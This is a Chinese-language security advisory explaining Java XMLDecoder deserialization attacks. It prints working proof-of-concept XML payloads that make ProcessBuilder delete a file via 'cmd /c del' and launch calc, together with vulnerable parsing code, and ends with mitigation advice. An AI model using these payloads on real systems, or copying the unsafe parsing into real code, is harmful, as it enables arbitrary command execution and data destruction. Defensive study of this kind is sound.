近期在内部安全审计中,一个潜藏于JDK标准库 XMLDecoder 组件中的反序列化缺陷被揭露,其潜在的破坏力引发了我们的高度警觉。以下将通过两组具体的攻击情景,来全面揭示此漏洞可能带来的严重威胁。

攻击情景一:借XMLDecoder实施文件系统破坏

攻击者可以精心构造一个恶意的XML配置文件,其内容如下所示。该文件利用了Java对象序列化的格式,意图执行系统命令。

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="4">
            <void index="0">
                <string>cmd</string>
            </void>
            <void index="1">
                <string>/c</string>
            </void>
            <void index="2">
                <string>del</string>
            </void>
            <void index="3">
                <string>e:\1.txt</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

当应用程序使用 XMLDecoder 加载并解析上述文件时,便会触发其中定义的恶意操作。以下为一段存在风险的解析代码示例:

private static void parseXmlFile() {
    File xmlFile = new File("E:\\xmldecoder.xml");
    XMLDecoder decoder = null;
    try {
        decoder = new XMLDecoder(new BufferedInputStream(new FileInputStream(xmlFile)));
        Object result = decoder.readObject(); // 危险操作在此执行
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        if (decoder != null) {
            decoder.close();
        }
    }
}

代码执行后,其效果等同于在Windows命令提示符中直接运行 cmd /c del e:\1.txt,指定的文件将被静默删除,揭示了该漏洞对本地数据完整性的直接侵害能力。

攻击情景二:通过反序列化非法启动系统进程

此漏洞的危害远不止于文件操作。攻击者同样可以将恶意载荷内嵌于程序代码中,以字符串形式直接传递给 XMLDecoder

private static void parseXmlFromString() {
    String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
            "<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">" +
            "    <object class=\"java.lang.ProcessBuilder\">" +
            "        <array class=\"java.lang.String\" length=\"1\">" +
            "            <void index=\"0\">" +
            "                <string>calc</string>" +
            "            </void>" +
            "        </array>" +
            "        <void method=\"start\" />" +
            "    </object>" +
            "</java>";

    XMLDecoder decoder = null;
    try {
        decoder = new XMLDecoder(new ByteArrayInputStream(maliciousXml.getBytes()));
        Object result = decoder.readObject(); // 触发进程创建
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        if (decoder != null) {
            decoder.close();
        }
    }
}

运行上述代码,将成功调用系统计算器程序(calc.exe)。

其核心机理在于,XMLDecoder 在反序列化过程中,会忠实重建XML中定义的 ProcessBuilder 对象并调用其 start() 方法。此方法与
Runtime.exec() 功能类似,是Java中创建本地系统进程的关键接口。

ProcessBuilder 的构造函数接受一个命令列表作为参数,这为攻击者提供了极大的灵活性:

public ProcessBuilder(List<String> command) {
    if (command == null)
        throw new NullPointerException();
    this.command = command;
}

核心结论与应对策略

综合以上分析,JDK内置的 XMLDecoder 在进行XML数据反序列化时,缺乏必要的安全审查机制,导致攻击者可借其构造任意
ProcessBuilder 命令,实现远程代码执行(RCE)。这相当于为攻击者打开了一条直达系统底层的通道。

需要特别指出的是,本文仅以 ProcessBuilder 为例进行演示,实际可利用的类和方法可能更多,攻击面更广。经确认,此安全隐患在JDK 8
update 151及之前的多个版本中均长期潜伏。

紧急安全建议:
在生产环境中,应立即停止使用 java.beans.XMLDecoder 类来解析任何来自外部或不可信的XML数据源
。应积极寻求并迁移至更安全、具备严格类型控制与输入验证的XML解析方案,例如使用诸如JAXB(配合安全配置)、DOM/SAX解析器等替代技术。

请广大开发者与安全团队务必重视此风险,立即开展组件排查与升级工作,以防患于未然。